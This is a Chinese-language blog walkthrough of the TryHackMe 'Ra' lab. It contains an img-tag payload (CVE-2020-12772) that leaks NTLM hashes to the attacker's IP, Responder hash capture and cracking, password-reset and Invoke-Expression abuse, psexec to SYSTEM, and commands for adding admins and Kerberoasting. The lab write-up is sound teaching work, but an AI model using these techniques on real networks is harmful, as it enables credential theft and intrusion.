Skip to content
Stack Ashes
Go back

thm-ra-windows域主机的入侵流程

您已经可以访问 WindCorp 的内部网络,这家价值数十亿美元的公司正在运行广泛的社交媒体活动,声称无法破解(哈!这个说法就这么多了!

下一步是拿起他们的皇冠上的明珠,获得对他们内部网络的完全访问权限。您已经发现了一台新的 Windows 机器,它可能会引导您实现最终目标。你能征服这个最终 Boss 并拥有他们的内部网络吗?

祝您黑客活动愉快!

靶场概述

难度: 描述:hard


基本信息

🚀本地机器信息目标机器信息
IP10.17.5.12110.10.237.226
OSkaliwindwos

信息搜集

image.png

image.png

提取出mail image.png

organicfish718@fire.windcorp.thm  
organicwolf509@fire.windcorp.thm  
tinywolf424@fire.windcorp.thm  
angrybird253@fire.windcorp.thm  
buse@fire.windcorp.thm  
Edeltraut@fire.windcorp.thm  
Edward@fire.windcorp.thm  
Emile@fire.windcorp.thm  
tinygoose102@fire.windcorp.thm  
brownostrich284@fire.windcorp.thm  
sadswan869@fire.windcorp.thm  
goldencat416@fire.windcorp.thm  
whiteleopard529@fire.windcorp.thm  
happymeercat399@fire.windcorp.thm  
orangegorilla428@fire.windcorp.thm  

image.png

image.png

或许可以解决重置密码的密保 Lily Levesque AndSparky lilyleAndSparky.jpg 通过一些信息获取到了lilyle 的密码 image.png

lilyle
ChangeMe#1234

image.png

尝试用lilyle的凭证登录 image.png

有个注意点 观察到443端口也是开放的 使用https访问主域名

image.png

此路暂时不通缺少凭证

攻击向量

smb 445 利用 发现share目录获取内容 image.png

漏洞利用

Spark 2.8.3 的安装文件也很多,根据快速的谷歌搜索,我们发现 Spark 2.8.3 是易受攻击的。我将从 smb 共享中获取 .deb 文件。 image.png

在阅读 时,我发现了这个 github 存储库,它实际上是由这台机器的制造商创建的。据此,我们可以使用 spark 向其他用户发送带有 img 标签的消息,每次用户点击链接,或者 ROAR 模块自动预加载时,外部服务器都会收到访问链接的用户(即您正在聊天的用户)对图像的请求,以及 NTLM 哈希值!
如 github 存储库中所述,我们将使用并发送带有 img 标签的消息,并且我们应该会收到访问该链接的用户的 NTLM 哈希值。CVE-2020-12772``responder

image.png

我们有一个用户名列表,我们可以将我们的有效负载 发送给不同的用户,如果我们获得其中任何一个的 NTLM 哈希值,请在响应者中签入。

“<img src=http://yourtun0IP/a.png>”

image.png

[+] Listening for events...
[HTTP] NTLMv2 Client   : 10.10.226.131
[HTTP] NTLMv2 Username : WINDCORP\buse
[HTTP] NTLMv2 Hash     : buse::WINDCORP:581eb034fb28c39c:54A0D21F2C7F9C9FC662887D404ADBE6:010100000000
00003016F4F0AEBAD6019F1E18DD6C6FF8DD000000000200060053004D0042000100160053004D0042002D0054004F004F004C
004B00490054000400120073006D0062002E006C006F00630061006C0003002800730065007200760065007200320030003000
33002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C0008003000300000
00000000000100000000200000D06AF3C0BE5C4909A34ED0E1314D4F4E9E879FB75EC17102D80D7E32C45E88740A0010000000
0000000000000000000000000000090000000000000000000000
[*] Skipping previously captured hash for WINDCORP\buse
┌──(sid㉿kali)-[~/Documents/flags/tryhackme/ra]
└─$ echo "buse::WINDCORP:581eb034fb28c39c:54A0D21F2C7F9C9FC662887D404ADBE6:01010000000000003016F4F0AEBAD6019F1E18DD6C6FF8DD00000000020006005300
4D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C00030028007300650072007600650072003200300
0300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C000800300030000000000000000100000000200000D06AF3C0BE
5C4909A34ED0E1314D4F4E9E879FB75EC17102D80D7E32C45E88740A00100000000000000000000000000000000000090000000000000000000000" > hash
                                                                                                                                     
┌──(sid㉿kali)-[~/Documents/flags/tryhackme/ra]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
uzunLM+3131      (buse)

利用crackmapexec 凭据验证

image.png crackmapexec 中 Pwn3d!对于 WinRM,这意味着我们可以使用 Evil-WinRM 来进入盒子。

image.png

提权

首先,我们检查 buse 用户属于哪些组,以及我们是否有任何特殊权限。

image.png

我们看到我们是 Account Operators 组的一部分,这意味着我们可以修改除 admin 帐户之外的所有帐户。然后在检查不同的目录时,我们找到一个 scripts 目录,其中包含一个 checkservers.ps1 powershell 脚本,它告诉我们“C:\Users\brittanycr\hosts.txt”正在自动运行/使用。终会读取每一行并通过Invoke-Expression执行

由于我们是 Account Operators 组的一部分,因此让我们重置帐户 “brittanycr” 的密码

image.png

看来我们不能把 psexec 或 winrm 作为 brittanycr 放进盒子里。让我们使用 smbclient 来放置我们的恶意hosts.txt文件。

image.png

image.png

┌──(sid㉿kali)-[~/Documents/flags/tryhackme/ra]
└─$ crackmapexec smb windcorp.thm -u sid -p 'hello!123'
SMB         10.10.226.131   445    FIRE             [*] Windows 10.0 Build 17763 (name:FIRE) (domain:windcorp.thm) (signing:True) (SMBv1:False)
SMB         10.10.226.131   445    FIRE             [+] windcorp.thm\sid:hello!123 (Pwn3d!)
                                                                                                                                     
┌──(sid㉿kali)-[~/Documents/flags/tryhackme/ra]
└─$ python3 /usr/share/doc/python3-impacket/examples/psexec.py  sid@windcorp.thm          
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on windcorp.thm.....
[*] Found writable share ADMIN$
[*] Uploading file cfKhdeUq.exe
[*] Opening SVCManager on windcorp.thm.....
[*] Creating service TNal on windcorp.thm.....
[*] Starting service TNal.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1158]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd c:\users\Administrator\Desktop
 
c:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 84E1-0562

 Directory of c:\Users\Administrator\Desktop

05/10/2020  03:17 AM    <DIR>          .
05/10/2020  03:17 AM    <DIR>          ..
05/07/2020  12:22 AM                47 Flag3.txt
               1 File(s)             47 bytes
               2 Dir(s)  44,605,804,544 bytes free

c:\Users\Administrator\Desktop>type "Flag3.txt"
THM{ba3a2bff2e******************************}

c:\Users\Administrator\Desktop>

知识点

1. 检查 WinRM 服务是否启用

使用工具如 CrackMapExec 或 Nmap 来检测目标系统是否开启 WinRM 服务。

1.1 使用 CrackMapExec

bash

复制代码

crackmapexec winrm <target-ip> -u <username> -p <password>

1.2 使用 Nmap

扫描端口 5985(HTTP)和 5986(HTTPS),它们是 WinRM 默认使用的端口:

bash

复制代码

nmap -p 5985,5986 <target-ip>


2. 验证 WinRM 服务的响应

使用工具如 Evil-WinRMCrackMapExec 或 Python 脚本来验证服务和凭据。

2.1 使用 Evil-WinRM

安装 Evil-WinRM

bash

复制代码

sudo gem install evil-winrm

验证目标:

bash

复制代码

evil-winrm -i <target-ip> -u <username> -p <password>

2.2 使用 CrackMapExec

bash

复制代码

crackmapexec winrm <target-ip> -u <username> -p <password>

2. CrackMapExec的作用

  1. 用户凭据验证

    • 检查目标网络中某个用户凭据是否有效。
    • 支持多种身份验证方式(明文密码、哈希、Kerberos票据等)。
  2. 共享文件和目录枚举

    • 枚举共享资源。
    • 下载或上传文件到目标系统的共享目录。
  3. 命令执行

    • 在目标机器上远程执行命令(需要管理员权限)。
    • 支持多种协议如 WinRM、SMB。
  4. 凭据提取

    • 使用 Mimikatz 从目标提取用户凭据或哈希值。
  5. Active Directory 集成

    • 枚举域用户、域组和域计算机信息。
    • 针对 Active Directory 的攻击(如 Kerberos 金票/银票、DC Sync 攻击等)。
  6. 自动化攻击

    • 支持自动化 lateral movement(横向移动)。
    • 支持多目标批量操作。

分析whoami

通过 whoami /all 的输出,我们可以提取和分析与用户权限、组成员身份以及特权相关的信息,以判断用户在目标系统上的能力以及潜在的攻击面。以下是详细的分析:


1. 用户信息


2. 组信息

用户属于多个组,其中一些组提供了有用的信息:

关键组分析

  1. BUILTIN\Account Operators

    • 高权限组:此组的成员通常有能力管理账户,包括创建或修改用户账户。
    • 潜在利用点:可以检查是否能创建一个高权限用户(如域管理员)。
  2. BUILTIN\Remote Desktop Users

    • 用户属于远程桌面组,说明此用户可以通过 RDP 访问目标系统。
    • 潜在利用点:尝试使用 RDP 连接并获取更高权限的访问。
  3. BUILTIN\Remote Management Users

    • 此组成员默认可以通过 WinRM 远程访问系统。
    • 已验证:通过 Evil-WinRM 成功登录确认。
  4. WINDCORP\IT

    • 自定义组,可能赋予 IT 相关权限。
    • 潜在利用点:查询此组的特权,判断是否有管理功能。

3. 权限信息

用户当前拥有以下权限:

关键权限分析

  1. SeMachineAccountPrivilege

    • 描述: 允许用户将工作站加入域。
    • 潜在利用点:
      • 可以滥用此权限在域中创建计算机对象。
      • 借助工具(如 PowerMad 或 AD Module)创建恶意机器账户,并使用相关的 SPN 进一步执行 Kerberos 票据攻击(如 Kerberoasting)。
  2. SeChangeNotifyPrivilege

    • 描述: 允许用户绕过文件和目录的遍历检查。
    • 攻击意义: 这是普通权限,对攻击意义不大。
  3. SeIncreaseWorkingSetPrivilege

    • 描述: 允许用户调整进程的工作集大小。
    • 攻击意义: 通常与内存管理有关,对攻击用途有限。

4. 动态访问控制


5. 攻击面与利用建议

根据当前信息,你可以尝试以下攻击:

利用现有特权

  1. 机器账户攻击

    • 滥用 SeMachineAccountPrivilege 创建一个恶意的计算机对象。

    • 示例命令(使用 PowerMad 模块):

      powershell

      复制代码

      Import-Module PowerMad New-MachineAccount -MachineAccount EvilMachine -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)

    • 然后使用 Kerberos 票据进一步攻击(如 Golden/Silver Ticket)。

  2. RDP 登录

    • 用户属于 Remote Desktop Users,尝试使用 RDP 登录目标系统以获得 GUI 访问。

    • RDP 工具:

      bash

      复制代码

      xfreerdp /u:buse /p:'uzunLM+3131' /v:<target-ip>

探索更高权限

  1. 账户操作

    • 利用 Account Operators 权限,尝试创建新账户或修改现有账户。

    • 创建本地管理员账户的 PowerShell 示例:

      powershell

      复制代码

      net user admin2 Password123! /add net localgroup administrators admin2 /add

  2. 枚举域信息

    • 使用 PowerShell 或 CrackMapExec 枚举域中的用户、组和计算机:

      bash

      复制代码

      crackmapexec smb <target-ip> -u buse -p 'uzunLM+3131' --shares crackmapexec ldap <target-ip> -u buse -p 'uzunLM+3131' --users

  3. 尝试 Kerberoasting

    • 如果域中存在带有 SPN 的服务账户,尝试执行 Kerberoasting 攻击,提取可破解的 Kerberos 票据。

总结

总结


Share this post on:

Previous Post
tex2shell
Next Post
whyhackme